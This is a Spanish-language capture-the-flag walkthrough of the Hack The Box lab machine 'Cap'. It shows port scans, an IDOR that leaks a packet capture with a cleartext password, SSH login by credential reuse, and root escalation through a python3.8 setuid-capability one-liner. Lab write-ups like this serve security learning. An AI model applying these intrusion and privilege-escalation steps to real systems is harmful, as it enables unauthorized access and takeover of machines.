Cap

Plataforma HTB Dificultad Fácil

By Elmili72

Cap

Escaneo general de puertos

Primero empezamos un escaneo general de puertos, para ver como de expuesta está nuestra víctima.

$ sudo nmap -sS -p- --min-rate 5000 -vv -n -Pn 10.10.10.245 -oG allports
Host is up, received user-set (0.11s latency).
Scanned at 2025-06-09 12:12:40 CEST for 14s
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack ttl 63
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/share/nmap

Escaneo específico de puertos

Una vez tenemos los puertos realizamos un escaneo más específico para ver las versiones de los puertos que están expuestos. En este caso, tenemos los puertos 21 (FTP), 22 (SSH) y 80 (HTTP).

$ nmap -sCV -p21,22,80 10.10.10.245 -oN target
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-09 12:15 CEST
Nmap scan report for 10.10.10.245 (10.10.10.245)
Host is up (0.11s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open  http    Gunicorn
|_http-title: Security Dashboard
|_http-server-header: gunicorn
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Reconocimiento servicio web

Hacemos un reconocimiento básico de la web con Whatweb, y vemos que no hay mucha información útil.

$ whatweb http://10.10.10.245
http://10.10.10.245 [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[gunicorn], IP[10.10.10.245], JQuery[2.2.4], Modernizr[2.8.3.min], Script, Title[Security Dashboard], X-UA-Compatible[ie=edge]

Entramos a la IP víctima y entramos en un Dashboard de un usuario llamado Nathan, tiene un menú pero no es funcional.

image

Dos apartados del Dashboard son IP Config y Network Status, pero tampoco nos valen de mucho, más que para tener más información de que está corriendo en cada puerto y ver que no estamos encerrados en otro equipo por el “IP Config”.

image

Explotación

Si nos fijamos en la URL, antes ponía 1. Esto nos lleva a pensar que podemos explotar un IDOR (Insecure Direct Object Reference) y vemos que nos aparecen cargados unos paquetes de red que podemos bajarnos como una captura de wireshark.

image

Buscamos un poco el tráfico grabado y vemos una password en texto claro. Viendo el código de Login serguramente nos permita entrar al servicio FTP, pero podemos confiar en que hayan hecho reutilización de credenciales y probar directamente con el SSH.

image

Intrusión

Efectivamente, nos vale esa misma contraseña para entrar al SSH directamente y conseguimos nuestra flag de user.

$ ssh nathan@10.10.10.245
The authenticity of host '10.10.10.245 (10.10.10.245)' can't be established.
ED25519 key fingerprint is SHA256:UDhIJpylePItP3qjtVVU+GnSyAZSr+mZKHzRoKcmLUI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.245' (ED25519) to the list of known hosts.
nathan@10.10.10.245's password:
Last login: Thu May 27 11:21:27 2021 from 10.10.14.7
nathan@cap:~$ ls
user.txt
nathan@cap:~$ cat user.txt
1618b0******486488031

Post-Explotación

Escalada de Privilegios

De nuevo y como siempre, nuestra parte favorita. Una escalada sencilla pero que viene bien para asentar conocimientos en el tema de exploitación de Capabilities. Muy parecido a un binary abusing con Sudo.

nathan@cap:~$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

Rápidamente al encontrar “/usr/bin/python3.8” vamos a nuestro amigo GTFOBins. Y conseguimos nuestra flag de root sin ningún problema.

nathan@cap:~$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@cap:~# whoami
root
root@cap:~# id
uid=0(root) gid=1001(nathan) groups=1001(nathan)
root@cap:~# cat /root/root.txt
382dab******41ab640d

¡Espero que os haya gustado y os haya servido de ayuda! ¡Hasta el próximo writeup!

Share: LinkedIn